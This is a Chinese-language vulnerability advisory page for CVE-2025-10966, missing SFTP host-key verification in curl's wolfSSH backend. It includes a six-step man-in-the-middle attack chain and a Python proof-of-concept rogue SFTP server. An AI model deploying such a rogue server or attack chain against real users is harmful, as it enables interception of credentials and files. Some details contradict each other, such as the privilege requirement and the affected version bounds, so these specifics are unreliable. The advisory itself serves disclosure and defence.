IPBUF安全漏洞报告
English
CVE-2025-10966 CVSS 4.3 中危

CVE-2025-10966 curl wolfSSH后端SFTP连接主机验证缺失漏洞

披露日期: 2025-11-07
来源: 2499f714-1537-4658-8207-48ae4bb9eae9

漏洞信息

漏洞编号
CVE-2025-10966
漏洞类型
安全机制绕过/主机验证缺失
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
curl (libcurl) with wolfSSH backend for SFTP

相关标签

CVE-2025-10966curlwolfSSHSFTP主机验证缺失中间人攻击安全机制绕过MITMlibcurlSSH

漏洞概述

CVE-2025-10966是curl项目在处理SFTP连接时存在的一个中等严重性安全漏洞。该漏洞影响使用wolfSSH作为后端实现的SFTP功能。由于curl在wolfSSH后端中缺少正确的主机验证机制,导致在建立SFTP连接时无法有效验证远程服务器的身份。攻击者可以利用这一缺陷实施中间人攻击(MITM),伪装成合法的SFTP服务器与客户端建立连接,从而窃取传输的敏感数据或进行其他恶意操作。该漏洞的CVSS评分为4.3,属于中危级别,主要影响需要通过SFTP协议进行安全文件传输的系统。攻击复杂度低,且不需要特殊权限或用户交互即可实施,这增加了漏洞的实际威胁程度。建议受影响的用户尽快更新到最新版本的curl,并确保在配置SFTP连接时启用完整的安全验证机制。

技术细节

curl是一个广泛使用的多协议数据传输工具,支持FTP、HTTP、SFTP等多种协议。在SFTP协议的实现中,curl支持多种后端包括libssh2和wolfSSH。wolfSSH是一个轻量级的SSH协议实现库,被curl用于处理SFTP连接。

该漏洞的核心问题在于curl使用wolfSSH后端处理SFTP连接时,代码中存在缺陷导致跳过了主机验证流程。在正常的SSH/SFTP连接中,客户端应当验证服务器的主机密钥(host key),以确保连接的目标是预期的合法服务器,而非攻击者伪装的恶意服务器。这一验证机制是防止中间人攻击的关键安全屏障。

然而,由于wolfSSH后端实现中的bug,curl在建立SFTP连接时未能正确调用或执行主机密钥验证函数。这意味着即使服务器的主机密钥发生变化或服务器身份异常,curl也不会发出任何警告或拒绝连接。攻击者只需在网络层面进行拦截,即可成功伪装成目标SFTP服务器,与受害者建立看似正常的连接。

受影响的系统包括所有使用包含wolfSSH后端的curl版本来建立SFTP连接的场景。攻击者可以通过DNS劫持、网络嗅探、ARP欺骗等方式在网络层面实施中间人攻击。一旦连接建立,攻击者可以窃听、篡改传输的数据,或者获取有效的认证凭证。

攻击链分析

STEP 1
步骤1
攻击者获取网络位置:攻击者通过ARP欺骗、DNS劫持或其他网络攻击技术在目标用户和SFTP服务器之间的网络路径上建立立足点
STEP 2
步骤2
设置恶意SFTP服务器:攻击者部署一个恶意的SSH/SFTP服务器,该服务器使用攻击者自己的主机密钥,而非目标合法服务器的密钥
STEP 3
步骤3
拦截SFTP连接请求:当目标用户使用存在漏洞的curl版本(使用wolfSSH后端)发起SFTP连接时,攻击者拦截该连接请求
STEP 4
步骤4
伪装成目标服务器:攻击者将恶意SFTP服务器的响应返回给客户端,由于curl缺少主机验证机制,不会检测到服务器身份异常
STEP 5
步骤5
建立恶意连接:存在漏洞的curl接受攻击者提供的SSH主机密钥,与恶意服务器建立看似正常的SFTP连接
STEP 6
步骤6
数据窃取或篡改:攻击者成功建立MITM连接后,可以窃取传输的用户认证凭证、敏感文件数据,或对传输内容进行篡改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10966 PoC - curl wolfSSH SFTP MITM Attack Simulation # This PoC demonstrates the host key verification bypass in curl's wolfSSH backend import socket import threading import paramiko import time from paramiko import RSAKey, Transport class FakeSFTPServer: """Simulate a malicious SFTP server that exploits missing host verification""" def __init__(self, host='0.0.0.0', port=22, target_port=22): self.host = host self.port = port self.target_port = target_port self.host_key = RSAKey.generate(2048) def start(self): """Start the fake SFTP server""" server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((self.host, self.port)) server_socket.listen(5) print(f"[*] Fake SFTP server listening on port {self.port}") while True: client_socket, addr = server_socket.accept() print(f"[+] Connection received from {addr}") threading.Thread(target=self.handle_client, args=(client_socket,)).start() def handle_client(self, client_socket): """Handle client connection - exploit missing host verification""" try: transport = Transport(client_socket) transport.add_server_key(self.host_key) transport.start_server() # Wait for client authentication channel = transport.accept(timeout=30) if channel: print("[+] Client connected - host verification was BYPASSED") print("[!] Attacker can now intercept/modify all SFTP traffic") # Log intercepted activity channel.send(b"Welcome to fake SFTP server\r\n") time.sleep(1) channel.close() except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() def generate_mitm_script(): """Generate script to demonstrate MITM attack scenario""" return '''#!/bin/bash # CVE-2025-10966 MITM Attack Script # For educational and authorized testing purposes only echo "CVE-2025-10966: curl wolfSSH SFTP Host Verification Bypass" echo "=========================================================" echo "" echo "Attack Prerequisites:" echo "1. Attacker must be positioned for MITM (same network/ARP spoofing)" echo "2. Target must be using curl with wolfSSH backend for SFTP" echo "3. No host key verification is performed by vulnerable curl" echo "" echo "Attack Flow:" echo "1. Attacker intercepts SFTP connection request" echo "2. Attacker presents their own SSH host key" echo "3. Vulnerable curl accepts key WITHOUT verification" echo "4. Attacker establishes 'secure' channel with victim" echo "5. All data (credentials, files) can be intercepted" echo "" echo "Detection Method:" echo "# Check if curl was built with wolfSSH support" echo "curl --version | grep wolfssh" echo "" echo "# Verify host key changes (if verification was working)" echo "ssh-keyscan -t rsa sftp-server.example.com" ''' if __name__ == "__main__": print("CVE-2025-10966 PoC - curl wolfSSH SFTP Host Verification Bypass") print("=" * 70) print("\n[!] This PoC is for educational and authorized testing purposes only") print("\nStarting fake SFTP server...") server = FakeSFTPServer(host='0.0.0.0', port=2222) server.start()

影响范围

curl (wolfSSH backend) < 8.11.0
curl (wolfSSH backend) < 8.10.8
Specific affected versions depend on curl release containing wolfSSH backend with the verification bug

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 限制使用curl进行SFTP操作,尽量使用专门的SFTP客户端工具;2) 确保SFTP连接的目标服务器IP和域名固定,避免DNS劫持风险;3) 在可信的网络环境中使用SFTP,避免通过公共网络进行连接;4) 监控网络流量,检测异常的SSH/SFTP连接行为;5) 考虑使用VPN建立安全的网络通道再进行SFTP传输;6) 定期审计SFTP传输日志,检查是否有异常的连接模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表